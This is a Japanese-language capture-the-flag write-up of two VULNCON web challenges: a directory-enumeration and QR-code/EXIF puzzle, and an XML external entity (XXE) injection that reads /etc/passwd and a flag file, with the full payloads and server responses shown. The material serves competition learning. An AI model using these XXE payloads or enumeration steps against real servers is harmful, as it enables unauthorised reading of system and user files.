VULNCON CTF: write up
Web
Maze
$ gobuster dir -u http://maze.noobarmy.org/ -w big.txt -t 50 -q -x php,html,txt /.htpasswd (Status: 403) [Size: 282] /.htaccess.html (Status: 403) [Size: 282] /.htpasswd.php (Status: 403) [Size: 282] /.htaccess.txt (Status: 403) [Size: 282] /.htpasswd.html (Status: 403) [Size: 282] /.htaccess (Status: 403) [Size: 282] /.htaccess.php (Status: 403) [Size: 282] /.htpasswd.txt (Status: 403) [Size: 282] /index.php (Status: 200) [Size: 411] /projects (Status: 301) [Size: 325] [--> http://maze.noobarmy.org/projects/] /server-status (Status: 403) [Size: 282]
/projects
にアクセスすると下記のようなサイトがある。
ソースコードをみてみると
コメントアウトされている/justsomerandomfoldername/image-0.png
にアクセスすると
QRコードがある。
image-0.png
の数字の部分を変更することで何枚かQRコードが有る。27 IS MY LUCKY NUMBER!
と書かれているので/justsomerandomfoldername/image-27.png
のQRコードを読み取る。
13と書かれているのでimage-13.png
のQRコードを読み取っても特になにもなかったが画像のexif情報をみてみると
$ exiftool image-13.png ExifTool Version Number : 12.00 File Name : image-13.png Directory : . File Size : 946 bytes File Modification Date/Time : 2020:12:06 20:41:46+09:00 File Access Date/Time : 2020:12:20 14:47:08+09:00 File Inode Change Date/Time : 2020:12:20 14:47:06+09:00 File Permissions : rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 290 Image Height : 290 Bit Depth : 1 Color Type : Grayscale Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced XMP Toolkit : Image::ExifTool 12.04 Creator : aWh5YXBiYXtqQCRfN3UxJF8zaTNhX0BfajNvX3B1QHl5M2F0Mz99 Image Size : 290x290 Megapixels : 0.084 $ echo -n 'aWh5YXBiYXtqQCRfN3UxJF8zaTNhX0BfajNvX3B1QHl5M2F0Mz997' | base64 -d ihyapba{j@$_7u1$_3i3a_@_j3o_pu@yy3at3?}
flag: vulncon{w@$_7h1$_3v3n_@_w3b_ch@ll3ng3?}
Mr. Hekker
contact.php
に対してPOSTするときにパラメータが
<?xml version="1.0" encoding="UTF-8"?><contact><name>unko</name><email>unko@unko.com</email><subject>unko</subject><message>undefined</message></contact>
xmlなので簡単なXXEを試してみると
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]> <contact><name>unko</name><email>unko@unko.com</email><subject>unko</subject><message>&ent;</message></contact>
HTTP/1.1 200 OK Date: Sun, 20 Dec 2020 07:19:36 GMT Server: Apache/2.4.38 (Debian) X-Powered-By: PHP/7.2.34 Vary: Accept-Encoding Content-Length: 1000 Connection: close Content-Type: text/html; charset=UTF-8 Your msg has been receipt as root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin hekker:x:1000:1000::/home/hekker/:/bin/bash
上記のようにLFIに成功することがわかる。XXEでRCEできるのかと思って調べたが特に見つからなかったのでflagの場所を推測してincludeするしかない。
いろいろ探した結果/home/hekker/flag.txt
にあった。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///home/hekker/flag.txt"> ]> <contact><name>unko</name><email>unko@unko.com</email><subject>unko</subject><message>&ent;</message></contact>
HTTP/1.1 200 OK Date: Sun, 20 Dec 2020 07:24:04 GMT Server: Apache/2.4.38 (Debian) X-Powered-By: PHP/7.2.34 Content-Length: 64 Connection: close Content-Type: text/html; charset=UTF-8 Your msg has been receipt as vulncon{MR_H4kk3r_w1th_XXE_(+_+)}
flag: vulncon{MR_H4kk3r_w1th_XXE_(+_+)}